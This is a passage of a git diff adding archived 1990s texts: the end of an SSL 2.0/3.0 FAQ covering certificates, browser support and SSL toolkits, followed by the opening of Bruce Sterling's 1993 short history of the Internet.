edit the list of ciphersuite + preferences in the hello messages to invisibly force both client and + server to use 40-bit encryption. SSL 3.0 defends against this + attack by having the last handshake message include a hash of all + the previous handshake messages. + + 2. SSL 2.0 uses a weak MAC construction, although post-encryption + seems to stop attacks. This is fixed in 3.0. + + 3. SSL 2.0 feeds padding bytes into the MAC in block cipher modes, + but leaves the padding-length field unauthenticated, which could + allow active attackers to delete bytes from the end of messages. + This, too, is fixed in 3.0. + + 4. In SSL 3.0, the Message Authentication Hash uses a full 128 bits + of keying material, even when using an Export cipher. In SSL 2.0, + Message Authentication used only 40 bits when using an Export + cipher. + + Functionality improvements: + + 5. In SSL 2.0, the client can only initiate a handshake at the + beginning of the connection. In 3.0, the client can initiate a + handshake routine, even in the middle of an open session. A server + can request that the client start a new handshake. Thus, the + parties can change the algorithms and keys used whenever they want. + + 6. SSL 3.0 allows the server and client to send chains of + certificates. This allows organizations to use a certificate + hierarchy that is more than two certifications deep. + + 7. SSL 3.0 has a generalized key exchange protocol. It allows + Diffie-Hellman and Fortezza key exchanges and non-RSA certificates. + + 8. SSL 3.0 allows for record compression and decompression. + + Backward compatibility: + + 9. SSL 3.0 can recognize an SSL 2.0 client hello and fall back to + SSL 2.0. An SSL 3.0 client can also generate an SSL 2.0 client + hello with the version set to SSL 3.0, so SSL 3.0 servers will + continue the handshake in SSL 3.0, and SSL 2.0 server will cause the + client to fall back to SSL 2.0. + + Other: + + 10. SSL 3.0 separates the transport of data from the message layer. + In 2.0, each packet contained only one handshake message. In 3.0, a + record may contain part of a message, a whole message, or several + messages. This requires different logic to process packets into + handshake messages. Therefore, the formatting of the packets had to + be completely changed. + + 11. Cipher specifications, handshake messages, and other constants + are different. + + +------------------------------ + +5) CERTIFICATE RELATED QUESTIONS + +This section contains information on certificates used by the SSL +protocol. + + +5.1) How does Netscape handle client certificates in Navigator 3.0? + + Netscape describes their framework for web-based key generation and + certificate issuing on their web pages at + + + +5.2) What is the format of the SSL certificates used by Netscape +Navigator? + + Netscape has documented their SSL 2.0 certificate format at + . + + +5.3) I am distributing load on several different web servers and I +don't want to have to have a different certificate for each. How can +I do this? + + When establishing a secure connection in SSL, many SSL clients + applications, including Netscape's Navigator, check the common name + of the certificate against the name of the site in the URL. If it + doesn't match, the client application warns the user. Thus the + preferred format of a common name of an SSL server + is a simple DNS name like "www.consensus.com". + + To support multiple servers you can use a round-robin DNS to send + each request for "www.consensus.com" to different IP addresses. As + Netscape Navigator does not check to see that the IP address matches + the original domain name (reverse-IP), this will work for each + round-robin server. + + Netscape's Navigator will also allow for some simple pattern + matching. Netscape has documented a number of different possibilities + in their SSL 2.0 Certificate Format web pages at + + + Note, however, none of these regular expression/pattern matching + choices are accepted by VeriSign. In the past they have accepted + server certificate common names with regular expressions, but these + are no longer allowed. + + Other CAs may have different policies regarding use of regular + expressions in common names. + + +5.4) When comparing a URL against the common name of the certificate, +why don't you do a reverse-DNS lookup? + + DNS is not a secure name service, and trying to treat it like one + could be a security hole. The purpose of checking the common name + against the URL is to make sure that at least the user's expectation + of what site the user is visiting is not compromised. + + +5.5) Does Netscape require hierarchical naming (that is, distinguished +names) for its certificates? + + Yes, Netscape requires distinguished names. + + +5.6) Where can I get more information on certificates? + + VeriSign, the default CA (Certificate Authority) used by Netscape + and most other WWW browsers has a FAQ at + + + Entrust has a primer on Web Security with an emphasis on + Certificate Authorities at + + + There is also a good resource of links to a variety of certificate + technical and policy issue sites available at + . + + +5.7) What other CAs exist besides VeriSign? + + We know of these CAs: + + EuroSign - The European Certification Authority + + COST Computer Security Technologies + Thawte Consulting + CompuSource + Server Certs + + In addition, we have heard that GE and the US Postal Service may be + announcing CA services, but we don't have web pages for them. + + +5.8) How do I set up my own Certificate Authority? + + There is some support for creating your own CA in SSLeay; there is + information on how to integrate it with Netscape available at + + + +5.9) What criteria should I use in deciding between one CA and another? + + The purpose of a Certificate Authority is to bind a public key to + the common name of the certificate, and thus assure third parties + that some measure of care was taken to ensure that this binding + is valid. A measure of a Certificate Authority is their "Policy + Statement" which states what measures they take for each class of + certificate they offer to ensure that this binding of identity + with public key is valid. + + +5.10) What are Attribute Certificates? + + Attribute Certificates are a new type of certificate proposed by + Netscape. These are signed objects that assert additional properties + about a particular identity certificate. + + An attribute cert has no associated key pair and consequently cannot + be used to establish identity. Informally, one can think of them as + a mechanism for extending the attributes of an identity certificate + without requiring that the identity certificate be reissued. + + More details of the proposal are at + + + +------------------------------ + +6) SSL IMPLEMENTATION ISSUES + +This section offers specific implementation details of different SSL +clients and servers that are not specific to the protocol. + + +------------------------------ + +6.1) NETSCAPE QUESTIONS + +Sub-section 6.1 is maintained by Eric Greenberg -- +any comments or questions should be sent to him. + + +6.1.1) Will SSL 3.0 functionality be available to Java applets via the +Netscape plug-in interfaces available as part of LiveConnect in Netscape +3.0? + + It will not be in 3.0, but Netscape is looking at it for a future + release. + + +6.1.2) Does the Netscape browser cache on disk data that has been sent +over by https? + + Navigator 3.0 has an option to allow caching of data fetched + over SSL connections. The default setting is to not cache data. + + In Navigator 2.0, documents fetched using SSL were cached in the + same way as non-SSL documents. You could use the "Pragma: no-cache" + HTTP header to disable caching for a particular page. In Navigator + 1.0 documents fetched with SSL were not cached. + + +6.1.3) Is the cached data encrypted using some key? + + No, Netscape has never encrypted documents that are stored in the + cache. + + +6.1.4) The Help Information for Netscape's Enterprise 2.0 server +indicates that the server supports 6 ciphers for SSL 2.0 and 6 +ciphers for SSL 3.0. However, the Encryption|Security Preferences +menu in the server Manager displays only 2 choices for SSL 2.0 and 3 +choices for SSL 3.0. How can I select the other choices? + + You have the export version of the server which supports only the + ciphers displayed. If you want to use the others, you must + use the US-only (non-export) version. + + +6.1.5) What mechanisms will be available for "aging" passphrases used +to unlock certificate databases. Will these be configurable? + + At this point no mechanisms exist in Netscape's Navigator, and + therefore aging is not configurable. Presumably the future of + personal certificate databases requires smartcards, but until that + time aging is an application specific function. + + +6.1.6) Is Netscape adopting any open standards for APIs in these +areas? Is Netscape working with any standards bodies or other groups on +such APIs? Is there any word on the emerging security architectures, +such as Microsoft's Crypto-API, RSA's LOCT, or GSS-API? + + Netscape has been participating in a number of working groups + interested in standard security APIs. At this point Netscape has not + adopted a single security API approach or committed to a specific + proposed standard security API. Eventually Netscape may use all or + some subset (or perhaps none) of these specific architectures. + Netscape welcomes customer comments or suggestions on this topic. + + +6.1.7) Does Netscape use "regular" RSA libraries (such as BSAFE) or +"custom" RSA code? More specifically, is Netscape using BSAFE 3.0? + + BSAFE 3.0 is currently being integrated in all of Netscape's + products. Netscape has modified portions of the BSAFE API to improve + efficiency in the heavy load environment of their products, but + Netscape continues to integrate the upgraded code from RSA as + soon as practical. + + +6.1.8) Will Netscape client authentication be interoperable with +other SSL implementations? + + We can't speak to which specific implementations have been testing + against our server. Netscape does currently offer an + interoperability test server that has been used to test conformance + with many other implementations of SSL 3.0. This server is located + at + + + +6.1.9) How might Netscape offer more "cryptographic flexibility," +such as selection of algorithms and authentication without +encryption? + + SSL 3.0 allows for authentication-only (and even encrypt only) + methods. Algorithm selection is negotiated by the client and the + server. The Navigators "Security Preferences:General" allow the + user to define per algorithm overrides for each SSL2 or SSL3 + session. + + +6.1.10) Isn't encrypt-only SSL open to "man-in-the-middle" attacks? + + Yes, even though SSL 3.0 supports encrypt-only (through the + SSL_DH_anon_WITH_DES_CBC_SHA ciphersuite), there are many possible + attacks against it, and we recommend against using it. SSL *MUST* + have strong authentication at the record layer or it becomes open to + some attacks. It doesn't matter if the application has + authentication at the application layer. + + +6.1.11) Are the 512-bit RSA keys used by exportable applications +generated on the fly by the server? How often are they changed? (The +spec recommends every 500 transactions.) Does the Netscape server +take care of changing them automatically? + + In the Netscape 2.0 servers, if the server's public key is longer + than 512 bits, it generates a temporary 512-bit export key at + start-up time. This key is regenerated only when the server is + restarted. Netscape does it this way because generating a key can + take several seconds. + + The 500 transaction limit is only a guideline and largely depends on + how valuable the information being encrypted is. For information + for which you worry about how often the key is regenerated you + should probably be using something stronger than a 40-bit symmetric + key anyway. + + +6.1.12) What are the plans for mechanisms for adding root keys and +accepting root certificates for future use? + + Root keys for CA (Certificate Authority) certificates are loaded + through an automatic process using an SSL connection to a previously + unknown CA. Also new releases of the Navigator have added additional + CA root keys. + + Presumably in the future loading a root cert object through a local + process, such as from disk, LDAP, or other out-of-band mechanism, + will be a supported addition or in place of the present method of + connecting to a trusted server and downloading the certificate + chain. + + +6.1.13) With regard to the certificate extensions documentation at + what X.509v3 +certificate extensions will the release 3.0 Navigator use? + + The following extensions are supported in some way by Navigator 3.0: + + netscape-revocation-url + netscape-ca-revocation-url + + A button will appear on the Document Info page for server's whose + certificate (or CA's cert) contains these extension. When the button + is pressed the CA will be queried via HTTP GET, and will display a + dialog to indicate to the user if the cert is good or not. + + netscape-cert-renewal-url + + If a user attempts to use a client certificate that has expired, a + dialog will be displayed warning them that their cert has expired, + and if this extension exists, a button will be on the dialog that + will bring up a window displaying the URL. + + netscape-ca-policy-url + + A button will be displayed on the Document Info for server certs + that contain this extension. When press a window displaying the + policy URL will be opened. + + netscape-ssl-server-name + + This extension is used in place of the common name when it exists to + verify the domain name of the site. + + netscape-comment + + A Netscape-specific place for comments. + + +6.1.14) Does the Navigator actually use the revocation URL +or CA revocation URL? + + There is no automatic revocation check. As mentioned above, a button + allowing manual checks is displayed on the Document Info page. This + feature was added because some people needed revocation, but we did + not have time to support full CRLs. In a future release we will + support CRLs, and possibly other forms of revocation technology. + + +------------------------------ + +6.2) MICROSOFT QUESTIONS + +The text for sub-section 6.2 was grabbed from various documents +found at + + + +6.2.1) Which of Microsoft's products will support SSL? + + Internet Explorer 3.0 provides support for SSL versions 2.0 and 3.0 + and for Private Communication Technology (PCT) version 1.0. It will + include support for the Transport Layer Security Protocol (TLS), + which is being considered by IETF. + + +6.2.2) Which Microsoft products support Client Authentication? + + Client authentication as implemented by Microsoft Internet Explorer + 3.0 is interoperable with popular Web servers that support secure + sockets layer (SSL) 3.0 client authentication. + + Microsoft is working to extend the complete set of technology + components necessary for webmasters to incorporate client + authentication in their Web applications. This includes extending + Windows NT(r) Server operating system support for challenge and + response and the SSL 2.0 protocol used by Microsoft Internet + Information Server to also include support for client authentication + through the SSL 3.0 protocol. + + +------------------------------ + +7) SSL TOOKIT QUESTIONS + +This section offers specific details of different SSL development +toolkits that are not specific to the protocol. + + +------------------------------ + +7.1) SSLREF QUESTIONS + +This subsection contains information on SSLRef 3.0 which was +codeveloped by Netscape Communications Corp. of Mountain View, +California and Consensus Development +Corporation of Berkeley, California . + + +7.1.1) What is SSLRef 3.0? + + SSLRef 3.0 is a reference implementation of the SSL (Secure Sockets + Layer) protocol. SSLRef 3.0 is intended to aid and accelerate + developers' efforts to provide security within TCP/IP applications. + It can also be used to qualify other implementations of version 3.0 + of the SSL protocol. + + SSLRef 3.0 consists of a software library, distributed as ANSI C + source-code, that can be compiled on Windows 95/NT and Solaris + platforms and then linked into TCP/IP application programs. SSLRef + 3.0 was also designed to be easily ported to a wide variety of + other platforms and operating systems. + + More information on SSLRef can be found at + + + If you are a US citizen you can download SSLRef 3.0 at + + + +7.1.2) How can I license SSLRef 3.0? What does it cost? With what +restrictions? + + The SSLRef 3.0 distribution includes a license for non-commercial + use. For commercial licensing, send mail to . + + The SSLRef 3.0 commercial license is Part Number 70-01128-00 and the + price is $30,000. The license agreement is a flat one-time fee, not + a recurring royalty. + + SSLRef 3.0 may not be exported. However, the encryption options in + SSLRef 3.0 can be limited to make exportable products. + + SSLRef 3.0 does not include an RSA/BSAFE license for required + cryptographic functions. Most users would use BSAFE or RSAREF. + + For BSAFE information contact RSA at + + + For RSAREF information contact Consensus Development at + + + +------------------------------ + +7.2) SSL PLUS QUESTIONS + +This sub-section contains information specific to the SSL Plus: SSL +3.0 Integration Suite(tm) software toolkit developed by Consensus +Development Corporation of Berkeley, California +. + + +7.2.1) What is the relationship between SSLRef and SSL Plus? + + SSLRef 3.0 was written by Netscape Development Corporation and + Consensus Development Corporation. SSL Plus is a derivative of + SSLRef 3.0, is fully supported and offers unique value-added + features. + + SSL Plus 1.0 includes support, updates, upgrade to TLS when spec is + completed, a VeriSign certificate request tool, a "signer" file + format for storing keys and certificates, is qualified for + additional platforms, and system integration services are available. + + SSLRef 3.0 offers 5 ciphersuites: + + * Unprotected + (SSL_NULL_WITH_NULL_NULL) + + * RSA authenticated, unencrypted, with MD5 + (SSL_RSA_WITH_NULL_MD5) + + * RSA authenticated with exportable RC4 encryption, and MD5 + (SSL_RSA_EXPORT_WITH_RC4_40_MD5) + + * RSA authenticated with DES encryption, and SHA + (SSL_RSA_WITH_DES_CBC_SHA) + + * Diffie-Hellman anonymous key exchange with DES encryption, + and SHA + (SSL_DH_anon_WITH_DES_CBC_SHA) + + SSL Plus 1.0 adds support for an additional 6 ciphersuites (with + more planned for the future): + + * RSA authenticated, unencrypted, with SHA + (SSL_RSA_WITH_NULL_SHA) + + * RSA authenticated with non-exportable RC4 encryption, with + MD5 or SHA + (SSL_RSA_WITH_RC4_128_MD5 & SSL_RSA_WITH_RC4_128_SHA) + + * RSA authenticated with Triple-DES encryption, with SHA + (SSL_RSA_WITH_3DES_EDE_CBC_SHA) + + * Diffie-Hellman anonymous key exchange with RC4 encryption, + with MD5 + (SSL_DH_anon_WITH_RC4_128_MD5 & + SSL_DH_anon_WITH_3DES_EDE_CBC_SHA) + + * Diffie-Hellman anonymous key exchange with Triple-DES + encryption and SHA + (SSL_DH_anon_WITH_RC4_128_MD5 & + SSL_DH_anon_WITH_3DES_EDE_CBC_SHA) + + For more information on SSL Plus features see + + + +7.2.2) What is the relationship with SSL Plus and SSLRef 2.0? + + There is no relationship between SSLRef 2.0 and SSL Plus -- SSL Plus + is based on the SSLRef 3.0 which was not based on SSLRef 2.0. + + +7.2.3) How can I license SSL Plus? What does it cost? With what +restrictions? + + A non-commercial license of SSL Plus is not available, only + commercial licenses. However, evaluation versions are available upon + signing a non-disclosure and beta test agreement. + + The price for SSL Plus is $40,000, and includes a one-year standard + support contract. Premium support is available for an additional + fee. The license agreement is a flat one-time fee, not a recurring + royalty. + + SSL Plus toolkit may not be exported. However, products built with + SSL Plus may limit the encryption options to exportable algorithms + and thus be able to be exported. + + SSL Plus does not include an RSA/BSAFE license for cryptographic + functions required. Most users would use BSAFE or RSAREF: + + For BSAFE information contact RSA at + + + For RSAREF information contact Consensus Development at + + + + Copies of the evaluation NDA and beta agreement, the standard + product license agreement, and standard support contract for + SSL Plus are located at + + + +7.2.4) Is there any relationship between SSL Plus and Winsock 1.1 or +Winsock 2.0? Which Winsock would you recommend using to test our +SSL? Does it matter if Winsock 1.1 or 2.0 architecture is used? + + No -- SSL Plus is designed to be transport independent and work with + both socket and stream styles of I/O. SSL Plus includes some + examples of using WinSock 1.1 in the Win32 builds of our sample + code. However, we recommend that you write your own callback code if + you want better handling of your I/O than what our sample routines + provide. + + +7.2.5) How does the data flow within the application, WinSock, SSL, +TCP/IP stack layers? + + The short answer is that you insert SSL Plus between your I/O and + your application code. + + Basically, you call SSL Plus instead of your read and write. SSL + Plus does its stuff and calls your callback code to do the I/O. Data + comes through your I/O routines, through SSL Plus, and then finally + to your application. SSL Plus only manages the data flowing through + the connection; it does not handle setting up and tearing down the + underlying network connection; your application should open the + network connection, then hand it off to SSL Plus for SSL handshaking + and data transfer. (This step is not shown in the diagram). + + Normal: + + ------------- + | Application | + ------------- + ^ + | I/O Calls + v + ------------- + | WinSock | + ------------- + ^ + | TCP Calls + v + ------------- + | Internet | + ------------- + + + SSL Plus: + + ------------- + | Application | + ------------- + ^ + | SSL I/O Calls + v + ------------- I/O Callbacks -------------------- + | SSL Plus | <---------------->| Your Callback Code | + ------------- -------------------- + ^ + | I/O Calls + v + ------------- + | WinSock | + ------------- + ^ + | TCP Calls + v + ------------- + | Internet | + ------------- + + +7.2.6) A part of my impression is that with the WinSock 2.0 +architecture, the application need only chose an appropriate SSL +enabled service provider. Does SSL Plus support this? + + As you noted, with WinSock 2.0 there is some discussion of + functionality that allows you to create a module that you could add + to WinSock 2.0. + + At this time we do not believe that this functionality is actually + shipping (as Microsoft was supporting PCT but is now supporting + SSL 3), but we do know that it is part of their plans. See the + MS-ISF (Microsoft Internet Security Framework) description at + + + We can't speak to when or if Microsoft will add it to their system + software, or if another third-party offers such a module. + + Meanwhile, there has been some discussion on what changes might be + required under WinSock 2.0 to do SSL located at + + + In the future (post version 1.1, see our features page) we may offer + either more robust sample callback code for WinSock 1.1 and/or 2, or + we may actually write our own WinSock 1.1 substitute or 2.0 module + that you call as you would call WinSock and avoid the callbacks + all together. Neither would be available before the end of the year. + + +7.2.7) Does SSL Plus support yielding? + + SSL Plus 1.0 includes support for processor yielding during + cryptographic operations. Because developers provide their own I/O + routines, they can do yielding during I/O. Our examples do not + demonstrate I/O yielding. + + +7.2.8) I don't understand the nomenclatures of constants such as +"SSL_RSA_EXPORT_WITH_RC4_40_MD5" -- where are they defined? + + They are found in include/cryptype.h, but are actually defined + by the SSL 3.0 spec. + + +7.2.9) Where are these cipher suites defined? + + In the file ciphers.c there is an array of values and implementation + pointers for supported cipher suites. + + +7.2.10) Can I change the order of the values in ciphers.c? + + Yes. The order affects the preference; in general, the highest one + on the client's list which the server supports will be selected. + + +7.2.11) Can this be done programmatically in the API? + + No, it is configured at compile time. We will be adding runtime + support in the near future because it will be needed for future test + frameworks. + + +7.2.12) Does SSL Plus support compression? + + Not at this time. If there is a specific customer requirement, or if + a compression cipher suite is defined we expect to support it in the + future, but otherwise we have no plans here. + + +7.2.13) In sslrec.c function SSLWriteRecord(), the data buffer is +copied, encrypted, then enqueued on the SSL write queue. The function +then returns. What thread services the write queue? How is the +thread created? + + The write queue is serviced by the public function called + SSLServiceWriteQueue(). It is called in a number of places in + ssltrspt.c, including with every call to SSLWrite(). Data to be + written is sent to the I/O layer as you exit out of the write + function (for example, right near the bottom of SSLWrite). + + If SSLWrite() returns SSLWouldBlockError, then make a call to + SSLServiceWriteQueue() to service the write queue. (You could + instead make a call to SSLWrite() with more data to be written, but + this is unlikely.) + + The write queue is not serviced by a separate execution thread. The + write queue mechanism was designed to support non-blocking I/O + without undue overhead. + + +7.2.14) When I call SSLRead(), according to the docs, on returning, +the length argument should be replaced with the number of bytes +actually read. In practice, this doesn't seem to be happening. What +am I doing wrong? + + The difficulty is that it's hard for SSL to precisely emulate the + behavior of Unix-style socket calls. + + The problem is that you are using SSL Plus in its blocking mode; if + you return SSLWouldBlock from your I/O Read callback, the library + will return the data it has along with the SSLWouldBlock error. + + The best way to solve this is to always know how much data you're + waiting for and request exactly that much. I know this doesn't work + with a lot of free-form Internet protocols. + + Alternatively, you would like the call to block until it gets some + data, then return it to you, even if it's less than 512 bytes. + Ideally, you'd like to do this without busy-looping the CPU waiting + for data. The best way to do this using SSL Plus is to write a + wrapper for SSLRead() which does the following: + + * Make a blocking select() call until there is some data + available on the TCP/IP connection over which you're speaking + SSL. This will cause you to block in a friendly way until data + arrives. + + * Call SSLRead(). If zero bytes are returned from the read, + loop and do the select() again. Otherwise, return whatever + came back. + + * Make your Read() callback non-blocking. The easiest thing to + do is to check how much data is available on the incoming + connection and return SSLWouldBlockErr if you can't completely + fulfill the request. (You can optionally read what data there + is and return it first; this won't affect functionality). + + This will result in the following behavior: + + 1. Your program will block gracefully in the select() call until + something arrives on the connection. + + 2. You will then ask SSL Plus to read some data. + + 3. SSL Plus will ask the Read() callback to read the header of the + next record (3 or 5 bytes). + + 4. The Read() callback will fulfill that, if possible + + 5. SSL Plus will ask to read the body of the record (whose length + will be equal to how much data was sent by the other side, plus + MAC and encryption padding). + + 6. The Read() callback will fulfill that, if possible. + + 7. If the amount of data received is greater than or equal to how + much was requested in 2., the data will be returned + + 8. Otherwise, go back to 3. + + What will happen in practice looks something like this: because the + SSL peer on the other end of the connection generates record layer + records monolithically, and they're relatively small, the header and + content of a record will arrive at your machine all together. Thus, + when your select() call returns, you will be able to successfully + read a header and body without blocking. When SSL Plus goes to read + another one, your Read() callback will see that there's no data + available on the connection (assuming another record hasn't arrived) + and return SSLWouldBlockErr. SSL Plus will then return the data it + has received and the error SSLWouldBlockErr; you can return that + data as a partial completion of the desired read. + + If a partial record arrives, your select() will wake up, but SSL + Plus won't be able to decrypt and check a complete record before the + Read() callback returns SSLWouldBlockErr; thus, your read will + return with zero bytes returned. Since this isn't the behavior your + client expects, you should select() again until more data arrives, + hopefully completing the record. + + Long term (SSL Plus 1.1 time frame) we'd like to develop a more + elegant solution and API to this type of problem. We welcome + suggestions. + + +7.2.15) If session cache is stored in a database, can multiple Unix +processes share the same session data? + + There is no information stored in the session database which can't + be passed between processes. Specifically, there is no pointer + indirection. Of course, you'll have to figure out how to pass + session database records (and their changes or deletions) between + processes; that is not part of SSL Plus. + + +------------------------------ + +7.3) SSLEAY QUESTIONS + +This sub-section contains information specific to the SSLeay +toolkit developed by Eric Young + + +7.3.1) Where is the SSLeay FAQ? + + There is a very complete SSLeay FAQ at: + + + +------------------------------------------------------------------------ +..Christopher Allen Consensus Development Corporation.. +.. 1563 Solano Avenue #355.. +.. Berkeley, CA 94707-2116.. +..Home of "SSL Plus: o510/559-1500 f510/559-1505.. +.. SSL 3.0 Integration Suite(tm)" .. + + diff --git a/textfiles.com/internet/sterling b/textfiles.com/internet/sterling new file mode 100644 index 00000000..7c2caba0 --- /dev/null +++ b/textfiles.com/internet/sterling @@ -0,0 +1,380 @@ + + + + +Newsgroups: +alt.activism,alt.activism.d,alt.politics.radical-left,alt.politics.reform,alt. +politics.usa.misc,rec.arts.books,soc.culture.usa,talk.politics.misc + +From: davidson@sfsuvax1.sfsu.edu (Daniel Davidson) +Subject: Re: Fewer Government Workers than Twenty Years Ago +@Message-ID: <1993Nov23.104438.16983@csus.edu> +Organization: California State University, Sacramento +Date: Tue, 23 Nov 1993 10:44:38 GMT + +Subject: A short history of the Internet (Feb 1993) (Bruce Sterling) + + By Bruce Sterling + + bruces@well.sf.ca.us Literary Freeware -- Not for Commercial Use From THE +MAGAZINE OF FANTASY AND SCIENCE FICTION, February 1993. F&SF, Box 56, Cornwall +CT 06753 $26/yr USA $31/yr other F&SF Science Column #5 "Internet" + + Some thirty years ago, the RAND Corporation, America's foremost Cold War +think-tank, faced a strange strategic problem. How could the US authorities +successfully communicate after a nuclear war? + + Postnuclear America would need a command-and-control network, linked +from city to city, state to state, base to base. But no matter how thoroughly +that network was armored or protected, its switches and wiring would always be +vulnerable to the impact of atomic bombs. A nuclear attack would reduce any +conceivable network to tatters. + + And how would the network itself be commanded and controlled? Any +central authority, any network central citadel, would be an obvious and +immediate target for an enemy missile. The center of the network would be the +very first place to go. + + RAND mulled over this grim puzzle in deep military secrecy, and arrived +at a daring solution. The RAND proposal (the brainchild of RAND staffer Paul +Baran) was made public in 1964. In the first place, the network would *have no +central authority.* Furthermore, it would be *designed from the beginning to +operate while in tatters.* + + The principles were simple. The network itself would be assumed to be +unreliable at all times. It would be designed from the get-go to transcend its +own unreliability. All the nodes in the network would be equal in status to +all other nodes, each node with its own authority to originate, pass, and +receive messages. The messages themselves would be divided into packets, each +packet separately addressed. Each packet would begin at some specified source +node, and end at some other specified destination node. Each packet would wind +its way through the network on an individual basis. + + The particular route that the packet took would be unimportant. Only +final results would count. Basically, the packet would be tossed like a hot +potato from node to node to node, more or less in the direction of its +destination, until it ended up in the proper place. If big pieces of the +network had been blown away, that simply wouldn't matter; the packets would +still stay airborne, lateralled wildly across the field by whatever nodes +happened to survive. This rather haphazard delivery system might be +"inefficient" in the usual sense (especially compared to, say, the telephone +system) -- but it would be extremely rugged. + + During the 60s, this intriguing concept of a decentralized, blastproof, +packet-switching network was kicked around by RAND, MIT and UCLA. The National +Physical Laboratory in Great Britain set up the first test network on these +principles in 1968. Shortly afterward, the Pentagon's Advanced Research +Projects Agency decided to fund a larger, more ambitious project in the USA. +The nodes of the network were to be high-speed supercomputers (or what passed +for supercomputers at the time). These were rare and valuable machines which +were in real need of good solid networking, for the sake of national +research-and-development projects. + + In fall 1969, the first such node was installed in UCLA. By December +1969, there were four nodes on the infant network, which was named ARPANET, +after its Pentagon sponsor. + + The four computers could transfer data on dedicated high- speed +transmission lines. They could even be programmed remotely from the other +nodes. Thanks to ARPANET, scientists and researchers could share one another's +computer facilities by long-distance. This was a very handy service, for +computer-time was precious in the early '70s. In 1971 there were fifteen nodes +in ARPANET; by 1972, thirty-seven nodes. And it was good. + + By the second year of operation, however, an odd fact became clear. +ARPANET's users had warped the computer-sharing network into a dedicated, +high-speed, federally subsidized electronic post- office. The main traffic on +ARPANET was not long-distance computing. Instead, it was news and personal +messages. Researchers were using ARPANET to collaborate on projects, to trade +notes on work, and eventually, to downright gossip and schmooze. People had +their own personal user accounts on the ARPANET computers, and their own +personal addresses for electronic mail. Not only were they using ARPANET for +person-to-person communication, but they were very enthusiastic about this +particular service -- far more enthusiastic than they were about long-distance +computation. + + It wasn't long before the invention of the mailing-list, an ARPANET +broadcasting technique in which an identical message could be sent +automatically to large numbers of network subscribers. Interestingly, one of +the first really big mailing-lists was "SF- LOVERS," for science fiction fans. +Discussing science fiction on the network was not work-related and was frowned +upon by many ARPANET computer administrators, but this didn't stop it from +happening. + + Throughout the '70s, ARPA's network grew. Its decentralized structure +made expansion easy. Unlike standard corporate computer networks, the ARPA +network could accommodate many different kinds of machine. As long as +individual machines could speak the packet-switching lingua franca of the new, +anarchic network, their brand-names, and their content, and even their +ownership, were irrelevant. + + The ARPA's original standard for communication was known as NCP, +"Network Control Protocol," but as time passed and the technique advanced, NCP +was superceded by a higher-level, more sophisticated standard known as TCP/IP. +TCP, or "Transmission Control Protocol," converts messages into streams of +packets at the source, then reassembles them back into messages at the +destination. IP, or "Internet Protocol," handles the addressing, seeing to it +that packets are routed across multiple nodes and even across multiple +networks with multiple standards -- not only ARPA's pioneering NCP standard, +but others like Ethernet, FDDI, and X.25. + + As early as 1977, TCP/IP was being used by other networks to link to +ARPANET. ARPANET itself remained fairly tightly controlled, at least until +1983, when its military segment broke off and became MILNET. But TCP/IP linked +them all. And ARPANET itself, though it was growing, became a smaller and +smaller neighborhood amid the vastly growing galaxy of other linked machines. + + As the '70s and '80s advanced, many very different social groups found +themselves in possession of powerful computers. It was fairly easy to link +these computers to the growing network-of- networks. As the use of TCP/IP +became more common, entire other networks fell into the digital embrace of the +Internet, and messily adhered. Since the software called TCP/IP was +public-domain, and the basic technology was decentralized and rather anarchic +by its very nature, it was difficult to stop people from barging in and +linking up somewhere-or-other. In point of fact, nobody *wanted* to stop them +from joining this branching complex of networks, which came to be known as the +"Internet." + + Connecting to the Internet cost the taxpayer little or nothing, since +each node was independent, and had to handle its own financing and its own +technical requirements. The more, the merrier. Like the phone network, the +computer network became steadily more valuable as it embraced larger and +larger territories of people and resources. + + A fax machine is only valuable if *everybody else* has a fax machine. +Until they do, a fax machine is just a curiosity. ARPANET, too, was a +curiosity for a while. Then computer-networking became an utter necessity. + + In 1984 the National Science Foundation got into the act, through its +Office of Advanced Scientific Computing. The new NSFNET set a blistering pace +for technical advancement, linking newer, faster, shinier supercomputers, +through thicker, faster links, upgraded and expanded, again and again, in +1986, 1988, 1990. And other government agencies leapt in: NASA, the National +Institutes of Health, the Department of Energy, each of them maintaining a +digital satrapy in the Internet confederation. + + The nodes in this growing network-of-networks were divvied up into basic +varieties. Foreign computers, and a few American ones, chose to be denoted by +their geographical locations. The others were grouped by the six basic +Internet "domains": gov, mil, edu, com, org and net. (Graceless abbreviations +such as this are a standard feature of the TCP/IP protocols.) Gov, Mil, and +Edu denoted governmental, military and educational institutions, which were, +of course, the pioneers, since ARPANET had begun as a high-tech research +exercise in national security. Com, however, stood for "commercial" +institutions, which were soon bursting into the network like rodeo bulls, +surrounded by a dust-cloud of eager nonprofit "orgs." (The "net" computers +served as gateways between networks.) + + ARPANET itself formally expired in 1989, a happy victim of its own +overwhelming success. Its users scarcely noticed, for ARPANET's functions not +only continued but steadily improved. The use of TCP/IP standards for computer +networking is now global. In 1971, a mere twenty-one years ago, there were +only four nodes in the ARPANET network. Today there are tens of thousands of +nodes in the Internet, scattered over forty-two countries, with more coming +on-line every day. Three million, possibly four million people use this +gigantic mother-of-all-computer-networks. + + The Internet is especially popular among scientists, and is probably the +most important scientific instrument of the late twentieth century. The +powerful, sophisticated access that it provides to specialized data and +personal communication has sped up the pace of scientific research enormously. + + The Internet's pace of growth in the early 1990s is spectacular, almost +ferocious. It is spreading faster than cellular phones, faster than fax +machines. Last year the Internet was growing at a rate of twenty percent a +*month.* The number of "host" machines with direct connection to TCP/IP has +been doubling every year since 1988. The Internet is moving out of its +original base in military and research institutions, into elementary and high +schools, as well as into public libraries and the commercial sector. + + Why do people want to be "on the Internet?" One of the main reasons is +simple freedom. The Internet is a rare example of a true, modern, functional +anarchy. There is no "Internet Inc." There are no official censors, no bosses, +no board of directors, no stockholders. In principle, any node can speak as a +peer to any other node, as long as it obeys the rules of the TCP/IP protocols, +which are strictly technical, not social or political. (There has been some +struggle over commercial use of the Internet, but that situation is changing +as businesses supply their own links). + + The Internet is also a bargain. The Internet as a whole, unlike the +phone system, doesn't charge for long-distance service. And unlike most +commercial computer networks, it doesn't charge for access time, either. In +fact the "Internet" itself, which doesn't even officially exist as an entity, +never "charges" for anything. Each group of people accessing the Internet is +responsible for their own machine and their own section of line. + + The Internet's "anarchy" may seem strange or even unnatural, but it +makes a certain deep and basic sense. It's rather like the "anarchy" of the +English language. Nobody rents English, and nobody owns English. As an +English-speaking person, it's up to you to learn how to speak English properly +and make whatever use you please of it (though the government provides certain +subsidies to help you learn to read and write a bit). Otherwise, everybody +just sort of pitches in, and somehow the thing evolves on its own, and somehow +turns out workable. And interesting. Fascinating, even. Though a lot of people +earn their 